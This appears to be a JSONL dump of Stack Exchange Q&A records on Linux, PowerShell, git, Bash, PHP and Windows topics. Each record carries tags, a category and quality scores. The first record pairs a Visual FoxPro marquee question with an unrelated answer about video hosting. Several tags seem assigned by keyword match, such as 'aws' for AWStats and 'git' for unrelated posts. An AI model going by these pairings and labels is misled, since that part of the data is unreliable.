{"id": "hf_940b9b19c43f", "question": "<p>Could anyone could point me to some code/give me ideas on how to create a smooth scrolling vertical marquee for VFP 8 or 9?</p>\n\n<p>Any help is appreciated.</p>\n", "question_body": "", "answer": "Whether you decide to host the video yourself depends greatly on your requirements, hosting environment and technology you use. If it's a small personal site, than it's prefectly ok to host it on youtube or another hosting service, but if you are making a corporate site, it looks much more professional if you host it yourself. Or if the video won't change very frequently it's pretty easy to just host it yourself.\nTo host it yourself it's just simply puting in a web accessible directory on the server and setting the URL in the player.\nIf you need to do content management, than keep in mind the possible upload limits you will have on the server, and the fact, that HTTP is not the ideal protocol for uploading large files.\nIf you have to recode the video on the server, than don't forget that it will be a serious performance hit to it while the encoding is running.\nTo recode the video on the server I prefer to use FFMPEG or mencoder (both have windows and linux/unix versions).", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.123345"}
{"id": "hf_f3c57a7606ce", "question": "<p>PowerShell is definitely in the category of dynamic languages, but would it be considered strongly typed? </p>\n", "question_body": "", "answer": "It can be if you need it to be.\nLike so:\n```\n```\n[1] » [int]$x = 5\n[2] » $x\n5\n[3] » $x = 'haha'\nCannot convert value \"haha\" to type \"System.Int32\". Error: \"Input string was not in a correct format.\"\nAt line:1 char:3\n+ $x  <<<< = 'haha'\n[4] »\n```\n```\nUse the [type] notation to indicate if you care about variables being strongly typed.\nEDIT\n:\nAs\nedg\npointed out, this doesn't prevent PowerShell from interpreting \"5\" as an integer, when executing (5 + \"5\"). I dug a little more, and according to Bruce Payette in\nWindows PowerShell in Action\n, PowerShell is actually a \"type-promiscuous language.\" So, I guess, my answer is \"sort of.\"", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.282473"}
{"id": "hf_f45d9caeb36c", "question": "<p>How do I add an empty directory (that contains no files) to a Git repository?</p>\n", "question_body": "", "answer": "You can't.  See the\nGit FAQ\n.\nCurrently the design of the git index\n  (staging area) only permits files to\n  be listed, and nobody competent enough\n  to make the change to allow empty\n  directories has cared enough about\n  this situation to remedy it.\nDirectories are added automatically\n  when adding files inside them. That\n  is, directories never have to be added\n  to the repository, and are not tracked\n  on their own.\nYou can say \"\n```\ngit add <dir>\n```\n\" and it\n  will add files in there.\nIf you really need a directory to\n  exist in checkouts you should create a\n  file in it. .gitignore works well for\n  this purpose; you can leave it empty,\n  or fill in the names of files you\n  expect to show up in the directory.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.459076"}
{"id": "hf_ca9a995f1d5a", "question": "<p>I'm fine working on Linux using gcc as my C compiler but would like a Windows solution. Any ideas? I've looked at <a href=\"http://en.wikipedia.org/wiki/Dev-C%2B%2B\" rel=\"noreferrer\">Dev-C++ from Bloodshed</a> but looking for more options.</p>\n", "question_body": "", "answer": "MinGW\nwould be a direct translation off gcc for windows, or you might want to check out\nLCC\n, vanilla c (more or less) with an IDE.\nPelles C\nseems to be based off lcc and has a somewhat nicer IDE, though I haven't used it personally. Of course there is always the\nExpress Edition\nof MSVC which is free, but that's your call.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.603180"}
{"id": "hf_821b6fc0fcb3", "question": "<p>When writing an app that one wants to have compile on mac, linux and windows, what is the best way of managing the different libraries that will need to be included on the various operating systems. For example, using the glut opengl toolkit requires different includes on each operating system. </p>\n", "question_body": "", "answer": "Several projects I've worked on use an autoconf-based configure script which builds a Makefile, hence the reason you can build all of them from source with a simple:\n```\n```\n./configure\nmake\nmake install\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.747639"}
{"id": "hf_822a51a048b8", "question": "<p>How do you clear the IRB console screen?</p>\n", "question_body": "", "answer": "On\nMac OS X\nor\nLinux\nyou can use\nCtrl\n+\nL\nto clear the\nIRB\nscreen.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:57.863231"}
{"id": "hf_428f7705a732", "question": "<p>I would like to be able to monitor my major system health indicators from inside our Java-based system.  Major points of interest include CPU temperature, motherboard temperature, fan speed, etc.  </p>\n\n<p>Is there a package available that:</p>\n\n<ol>\n<li>Makes this sort of data available to Java?</li>\n<li>Works on Windows or Linux or both?</li>\n<li>Is open / free / cheap?</li>\n</ol>\n", "question_body": "", "answer": "A few months ago I looked for such a library and I found nothing interesting. It is not impossible to create one, so I would recommend doing so. You'll probably need to access native libraries, to do that use\nJNA\n(it's easier than JNI). Start by adding support for a few things on one platform, then start adding support for other features and platforms.\nThe share it with us! People will starts using it, maybe even help with development and soon you'll have a fully featured system monitoring library for Java.", "tags": ["linux", "monitoring", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.025587"}
{"id": "hf_96acefcedb5c", "question": "<p>My ASP.NET MVC application will take a lot of bandwidth and storage space. How can I setup an ASP.NET upload page so the file the user uploaded will go straight to Amazon S3 without using my web server's storage and bandwidth?</p>\n", "question_body": "", "answer": "Update Feb 2016:\nThe AWS SDK can handle a lot more of this now.  Check out\nhow to build the form\n, and\nhow to build the signature\n.  That should prevent you from needing the bandwidth on your end, assuming you need to do no processing of the content yourself before sending it to S3.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.263283"}
{"id": "hf_3bb873292d30", "question": "<p>do you use a tool?  or just manually make them?</p>\n", "question_body": "", "answer": "We use something locally based on\nhttp://opentcdb.org/\nbut that does scrum tracking, and draws pretty graphs.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.409422"}
{"id": "hf_e043b11820bb", "question": "<p>I just wanted to compare different solutions used when implementing ACLs in Rails.</p>\n", "question_body": "", "answer": "There's a plugin called acl_system2 which operates by having a users table and a roles table. There's a lot more useful information in the\nREADME\nand the project is on github too.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.508635"}
{"id": "hf_8e3058b46949", "question": "<p>Like it says.</p>\n", "question_body": "", "answer": "From\nhttp://www.digital-web.com/articles/writing_semantic_markup/\n:\nsemantic markup is markup that is descriptive enough to allow us and the machines we program to recognize it and make decisions about it. In other words, markup\nmeans\nsomething when we can identify it and do useful things with it. In this way, semantic markup becomes more than merely descriptive. It becomes a brilliant mechanism that allows both humans and machines to “understand” the same information.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.678593"}
{"id": "hf_18d891272a92", "question": "<p>Know of an OCAML/CAML IDE?  Especially one that runs on Linux?</p>\n", "question_body": "", "answer": "Emacs in\nCaml mode\n, or\nTuareg mode\n, or\nTypeRex mode\n.  TypeRex adds auto-completion to Taureg in emacs - a really nice feature for people who prefer the more graphical IDE's.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:58.816428"}
{"id": "hf_c08b8b4778ce", "question": "<p>The problem is not about randomness itself (we have rand), but in cryptographically secure PRNG. What can be used on Linux, or ideally POSIX? Does NSS have something useful?</p>\n\n<p><strong>Clarification</strong>: I know about /dev/random, but it may run out of entropy pool. And I'm not sure whether /dev/urandom is guaranteed to be cryptographically secure.</p>\n", "question_body": "", "answer": "The\n```\n/dev/random\n```\ndevice is intended to be a source of cryptographically secure bits.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.110317"}
{"id": "hf_448d4b4accdf", "question": "<p>What logging solutions exist for j2me? </p>\n\n<p>I'm specifically interested in easily excluding logging for \"release\" version, to have a smaller package &amp; memory footprint. </p>\n", "question_body": "", "answer": "I've used\nMIDPLogger\nto some acceptable level in a production application, although I have found it has more use after integrating into the application rather than as another Midlet in suite or so forth. I also found\nMicroLog\nbut haven't used it to any great detail.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.263832"}
{"id": "hf_84d30638b22c", "question": "<p>How do I detect what browser (IE, Firefox, Opera) the user is accessing my site with?  Examples in Javascript, PHP, ASP, Python, JSP, and any others you can think of would be helpful.  Is there a language agnostic way to get this information?</p>\n", "question_body": "", "answer": "If it's for handling the request, look at the\nUser-Agent\nheader on the incoming request.\nUPDATE: If it's for reporting, configure your web server to log the User-Agent in the access logs, then run a log analysis tool, e.g.,\nAWStats\n.\nUPDATE 2: FYI, it's\nusually\n(not always, usually) a bad idea to change the way you're handling a request based on the User-Agent.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.423632"}
{"id": "hf_22d2291fda6e", "question": "<p>What makes a language strongly typed? I'm looking for the most important aspects of a strongly typed language.</p>\n\n<p>Yesterday I asked if PowerShell was strongly typed, but no one could agree on the definition of \"strongly-typed\", so I'm looking to clarify the definition.</p>\n\n<p>Feel free to link to wikipedia or other sources, but don't just cut and paste for your answer.</p>\n", "question_body": "", "answer": "Strongly typed means you declare your variables of a certain type, and your compiler will throw a hissy fit if you try to convert that variable to another type without casting it.\nExample (in java mind you):\n```\n```\nint i = 4;\nchar s = i; // Type mismatch: cannot convert from int to char\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.557396"}
{"id": "hf_ae75bfbbe15f", "question": "<p>I would like to know how to unload an assembly that is loaded into the main AppDomain.</p>\n\n<p>I have the following code:</p>\n\n<pre><code>var assembly = Assembly.LoadFrom( FilePathHere );\n</code></pre>\n\n<p>I need/want to be able to unload this assembly when I am done.</p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "For .net versions core 3.0 and later:\nYou can now unload assemblies.  Note that appdomains are no longer available in .net core.  Instead, you can create one or more AssemblyLoadContext, load your assemblies via that context, then unload that context.  See\nAssemblyLoadContext\n, or\nthis tutorial that simulates loading a plugin then unloading it\n.\nFor .net versions before .net core 3, including netframework 4 and lower\nYou can not unload an assembly from an appdomain.  You can destroy appdomains, but once an assembly is loaded into an appdomain, it's there for the life of the appdomain.\nSee Jason Zander's explanation of\nWhy isn't there an Assembly.Unload method?\nIf you are using 3.5, you can use the AddIn Framework to make it easier to manage/call into different AppDomains (which you\ncan\nunload, unloading all the assemblies).  If you are using versions before that, you need to create a new appdomain yourself to unload it.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.862471"}
{"id": "hf_332b42e96389", "question": "<p>We are using Zabbix for services monitoring.</p>\n\n<p>There are some essential monitoring configured.\nI want to have timeline of version strings of my service along with this monitorings. That would give me opportunity to see that upgrading to this version altered overall error-count.</p>\n\n<p>Is it possible? </p>\n", "question_body": "", "answer": "Yes, it's possible.\nYou can pass arbitrary data from your Zabbix agent to the Zabbix server by using \"UserParameter\" fields in zabbix_server.conf, i.e. agent configuration file.\nGeneral syntax is:\nUserParameter=section[id], command\nFor example, let's assume you want to monitor how many users are logged in. You would use:\nUserParameter=sys[num_users], who | wc -l\n(I assume you know how to configure the Zabbix server to receive this data, it's pretty straightforward - just create a new item, bind it to a template and connect a template to a server or server group).\nIf you want to monitor some file for a specific string, just use grep, sed, cut, tr and other standard Unix tools. If you need more complex things, just write a shell script.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:59.988771"}
{"id": "hf_f18a4bd97daf", "question": "<p>does any one know how to get the current motherboard, processor or HD temperature statistics?<br>\nIn GNU/Linux, I know I could use something like hddtemp or sensord to get the info, and then parse it... but in Windows: How can I do this?  And, Can it be done with with C# or Java or any other hight level programming language?<br>\nThanks!</p>\n", "question_body": "", "answer": "I would argue that when the right configurations are in place, it can be superior to windows's one.\nhttp://www.lm-sensors.org/\nis what does all the work. I had that plugged into RRDgraph & Munin and I was monitoring the temperature of my room over a period of almost a year and had nice pretty graphs.  Also showed me my CPU fan was slowly wearing down, and I could see the line sloping down over a long period and know it was on the way out.\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/developers/applications\nis what you want.\n(Oh wait, I fail. You're on *nix wanting to do it on Windows, my bad :(  ..um.. well. Good luck. Maybe I'll leave this here in case somebody finds your post while searching for the contrary)\nBack when I did use windows, all I recall is Ye' Old\nMotherboard Monitor ( Discontinued )\n. \nWiki article says there is\nspeedfan\nand that looks like your best option. Programmatically, I guess you'll have to find the hardware specs and dig through Windows API and stackloads of arbitrary bus address offsets.", "tags": ["linux", "monitoring"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.104490"}
{"id": "hf_429bfac3c92c", "question": "<p>When I create an Issue Tracking list in SharePoint, I am unable to remove the Categories choice field that it adds by default as part of the Issue content type.  I looked in the list definition but I can't find anything explicit about not allowing the column to be deleted.  Does anybody know why the Delete button isn't showing up?  Is there a way to delete this field?</p>\n", "question_body": "", "answer": "I know that I have had a similar issue with field in a variety of fields where once the field is added, it is not possible to remove it.\nSometimes it is possible to create code to delete the field, but in most of the situations I have come across we have had to hide the field to prevent it from appearing.\nThis requires moving to using Powershell and the SharePoint object model to make the changes.\nIn most of our implementations, we have found it much better to create a custom solution with a custom feature that adds the custom lists and fields using the XML format for doing this. A list template can then be create exactly for what you need.\nDoing it this way gives us more control over the result in a repeatable manner.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.304892"}
{"id": "hf_2ccd36a7ed6e", "question": "<p>Is there a way in PHP to make asynchronous HTTP calls? I don't care about the response, I just want to do something like <code>file_get_contents()</code>, but not wait for the request to finish before executing the rest of my code. This would be super useful for setting off \"events\" of a sort in my application, or triggering long processes.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "You can do trickery by using exec() to invoke something that can do HTTP requests, like\n```\nwget\n```\n, but you must direct all output from the program to somewhere, like a file or /dev/null, otherwise the PHP process will wait for that output.\nIf you want to separate the process from the apache thread entirely, try something like (I'm not sure about this, but I hope you get the idea):\n```\n```\nexec('bash -c \"wget -O (url goes here) > /dev/null 2>&1 &\"');\n```\n```\nIt's not a nice business, and you'll probably want something like a cron job invoking a heartbeat script which polls an actual database event queue to do real asynchronous events.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.428982"}
{"id": "hf_33ff259797cd", "question": "<p>How exactly do DLL files work? There seems to be an awful lot of them, but I don't know what they are or how they work.</p>\n\n<p>So, what's the deal with them?</p>\n", "question_body": "", "answer": "What is a DLL?\nDynamic Link Libraries (DLL)s are like EXEs but they are not directly executable.  They are similar to .so files in Linux/Unix.  That is to say, DLLs are MS's implementation of shared libraries.\nDLLs are so much like an EXE that the file format itself is the same.  Both EXE and DLLs are based on the Portable Executable (PE) file format.  DLLs can also contain COM components and .NET libraries.\nWhat does a DLL contain?\nA DLL contains functions, classes, variables, UIs and resources (such as icons, images, files, ...) that an EXE, or other DLL uses.\nTypes of libraries:\nOn virtually all operating systems, there are 2 types of libraries.  Static libraries and dynamic libraries.  In windows the file extensions are as follows: Static libraries (.lib) and dynamic libraries (.dll).  The main difference is that static libraries are linked to the executable at compile time; whereas dynamic linked libraries are not linked until run-time.\nMore on static and dynamic libraries:\nYou don't normally see static libraries though on your computer, because a static library is embedded directly inside of a module (EXE or DLL).  A dynamic library is a stand-alone file.\nA DLL can be changed at any time and is only loaded at runtime when an EXE explicitly loads the DLL.  A static library cannot be changed once it is compiled within the EXE.\nA DLL can be updated individually without updating the EXE itself.\nLoading a DLL:\nA program loads a DLL at startup, via the Win32 API LoadLibrary, or when it is a dependency of another DLL.  A program uses the GetProcAddress to load a function or LoadResource to load a resource.\nFurther reading:\nPlease check\nMSDN\nor\nWikipedia\nfor further reading.   Also the sources of this answer.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.563465"}
{"id": "hf_bc092679776a", "question": "<p>Whats the available solutions for PHP to create word document in linux environment?</p>\n", "question_body": "", "answer": "real Word documents\nIf you need to produce \"real\" Word documents you need a Windows-based web server and COM automation. I highly recommend\nJoel's article\non this subject.\nfake\nHTTP headers for tricking Word into opening raw HTML\nA rather common (but unreliable) alternative is:\n```\n```\nheader(\"Content-type: application/vnd.ms-word\");\nheader(\"Content-Disposition: attachment; filename=document_name.doc\");\n\necho \"<html>\";\necho \"<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=Windows-1252\\\">\";\necho \"<body>\";\necho \"<b>Fake word document</b>\";\necho \"</body>\";\necho \"</html>\"\n```\n```\nMake sure you don't use external stylesheets. Everything should be in the same file.\nNote that this does\nnot\nsend an actual Word document. It merely tricks browsers into offering it as download and defaulting to a\n```\n.doc\n```\nfile extension. Older versions of Word may often open this without any warning/security message, and just import the raw HTML into Word. PHP sending sending that misleading\n```\nContent-Type\n```\nheader along does not constitute a real file format conversion.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.707554"}
{"id": "hf_874dd737d6d2", "question": "<p>for working with MS word files in python, there is python win32 extensions, which can be used in windows. How do I do the same in linux?\nIs there any library?</p>\n", "question_body": "", "answer": "Take a look at\nhow the doc format works\nand\ncreate word document using PHP in linux\n. The former is especially useful.\nAbiword\nis my recommended tool. There are\nlimitations\nthough:\nHowever, if the document has complicated tables, text boxes, embedded spreadsheets, and so forth, then it might not work as expected. Developing good MS Word filters is a very difficult process, so please bear with us as we work on getting Word documents to open correctly. If you have a Word document which fails to load, please open a Bug and include the document so we can improve the importer.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.861665"}
{"id": "hf_f97884b9a8fc", "question": "<p>Given a string file path such as <code>/foo/fizzbuzz.bar</code>, how would I use bash to extract just the <code>fizzbuzz</code> portion of said string?</p>\n", "question_body": "", "answer": "look at the basename command:\n```\n```\nNAME=\"$(basename /foo/fizzbuzz.bar .bar)\"\n```\n```\ninstructs it to remove the suffix\n```\n.bar\n```\n, results in\n```\nNAME=fizzbuzz\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:00.997465"}
{"id": "hf_102ac0ea1c30", "question": "<p>Is it possbile to execute linux commands with java? I am trying to create a web servlet to allow ftp users to change their passwords without ssh login access. I would like to execute the next commands:  </p>\n\n<pre><code># adduser -s /sbin/nologin clientA -d /home/mainclient/clientA\n# passwd clientA\n# cd /home/mainclient; chgrp -R mainclient clientA\n# cd /home/mainclient/clientA; chmod 770 .\n</code></pre>\n", "question_body": "", "answer": "Check out\nthis\n.\nHowever, doing what you are talking about is way outside spec, and I wouldnt reccommend it. To get it to work you are going to either run your app server as root, or use some other mechanism to give the user the app server is running as permission to execute these privileged commands. One small screw-up somewhere and you are \"owned\".", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:01.253235"}
{"id": "hf_f5e62bf3f72a", "question": "<p>Since the release of Adobe AIR I am wondering why Java Web Start has not gained more attention in the past as to me it seems to be very similar, but web start is available for a much longer time.</p>\n\n<p>Is it mainly because of bad marketing from Sun, or are there more technical concerns other than the need of having the right JVM installed? Do you have bad experiences using Web Start? If yes, which? What are you recommendations when using Web Start for distributing applications?</p>\n", "question_body": "", "answer": "In my company we used Java Web Start to deploy Eclipse RCP applications.  It was a pain to setup, but it works very well once in place.  So the only recommendation I could make is to start small, to get the hang of it.  Deploying one simple application first.  Trying to deploy a complete product that is already made without experience with JWS gets complicated rather quickly.\nAlso, learning how to pass arguments to the JWS application was invaluable for debugging.  Setting the Environment variable JAVAWS_VM_ARGS allows setting any arbitrary property to the Java Virtual machine.  In my case:\n-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=4144\nHelpful when you need to check problems during start-up (suspend=y)\nI think the main problem for the acceptance of Java Web Start is that it is relatively difficult to setup.  Also, somehow there is this dissonance:  When you have a desktop application, people expects a installer they can double click.  When you have a web application, people expects they can use it right from the browser.  Java Web Start is neither here not there...\nIt is widely used in intranets, though.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:01.381487"}
{"id": "hf_5fa12af99636", "question": "<p>To my amazement I just discovered that the C99 stdint.h is missing from MS Visual Studio 2003 upwards.  I'm sure they have their reasons, but does anyone know where I can download a copy?  Without this header I have no definitions for useful types such as uint32_t, etc.</p>\n", "question_body": "", "answer": "Turns out you can download a MS version of this header from:\nhttps://github.com/mattn/gntp-send/blob/master/include/msinttypes/stdint.h\nA portable one can be found here:\nhttp://www.azillionmonkeys.com/qed/pstdint.h\nThanks to the\nSoftware Rambling\ns blog.\nNB:\nThe Public Domain version of the header, mentioned by\nMichael Burr\nin a comment, can be find as an archived copy\nhere\n. An updated version can be found in\nthe Android source tree for libusb_aah\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:01.507597"}
{"id": "hf_3a2fb5b401a0", "question": "<p>I saw <a href=\"http://www.gnegg.ch/2008/09/automatic-language-detection/\" rel=\"nofollow noreferrer\">this</a> on reddit, and it reminded me of one of my vim gripes: It shows the UI in German. I want English. But since my OS is set up in German (the standard at our office), I guess vim is actually trying to be helpful.</p>\n<p>What magic incantations must I perform to get vim to switch the UI language? I have tried googling on various occasions, but can't seem to find an answer.</p>\n", "question_body": "", "answer": "Start vim with a changed locale:\n```\n```\nLC_ALL=en_GB.utf-8 vim\n```\n```\nOr export that variable per default in your bashrc/profile.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:01.716275"}
{"id": "hf_737b207783b4", "question": "<pre><code>  $a = '{ \"tag\": \"&lt;b&gt;&lt;/b&gt;\" }';\n  echo json_encode( json_decode($a) );\n</code></pre>\n\n<p>This outputs:</p>\n\n<pre><code>{\"tag\":\"&lt;b&gt;&lt;\\/b&gt;\"}\n</code></pre>\n\n<p>when you would think it would output exactly the input.  For some reason json_encode adds an extra slash.</p>\n", "question_body": "", "answer": "Because it's part of the JSON standard\nhttp://json.org/\nchar\n```\n```\nany-Unicode-character-\n    except-\"-or-\\-or-\n    control-character\n\\\"\n\\\\\n\\/ <---- see here?\n\\b\n\\f\n\\n\n\\r\n\\t\n\\u four-hex-digits\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:01.926012"}
{"id": "hf_e30638d63ebc", "question": "<p>Is there a way to run an Amazon EC2 AMI image in Windows?  I'd like to be able to do some testing and configuration locally.  I'm looking for something like Virtual PC.</p>\n", "question_body": "", "answer": "If you build your images from scratch you can do it with VMware (or insert your favorite VM software here).\nBuild and install your linux box as you'd like it, then run the AMI packaging/uploading tools\nin\nthe guest. Then, just keep backup copies of your VM image in sync with the different AMI's you upload.\nSome caveats: you'll need to make sure you're using compatible kernels, or at least have compatible kernel modules in the VM, or your instance won't boot on the EC2 network. You'll also have to make sure your system can autoconfigure itself, too (network, mounts, etc).\nIf you want to use an existing AMI, it's a little trickier. You need to download and unpack the AMI into a VM image, add a kernel and boot it. As far as I know, there's no 'one click' method to make it work. Also, the AMI's might be encrypted (I know they are at least signed).\nYou may be able to do this by having a 'bootstrap' VM set up to specifically extract the AMI's into a virtual disk using the AMI tools, then boot that virtual disk separately.\nI know it's pretty vague, but those are the steps you'd have to go through. You could probably do some scripting to automate the process of converting AMI's to vdks.\nThe Amazon forum is also helpful. For example, see\nthis article\n.\nOh,\nthis article\nalso talks about some of these processes in detail.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.118104"}
{"id": "hf_bc3d380a98cf", "question": "<p>How do I make an asynchronous call to a web service using the <code>PHP SOAP Extension</code>?</p>\n", "question_body": "", "answer": "My immediate answer should be: You can't.\nPHP does not have threading abilities that can be used in \"userland\".\nNow if you really want to do it, there are some ways you can go around it:\nUse the exec functions to spawn another process, in the background, and monitor it through the database/file system or whatever.\nUse the fork function to spawn another process and monitor it through the database/file system or whatever.\nSetbacks of these 2 approaches is that you can make it asynchronous but if you want a callback then it's going to be very tricky and not at all trivial. Well, it ain't even gonna be a callback since you'll not be able to wait for it on the script that makes the async call. This means that you can only have some kind of monitoring scheme. I would suggest AJAX.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:02.229564"}
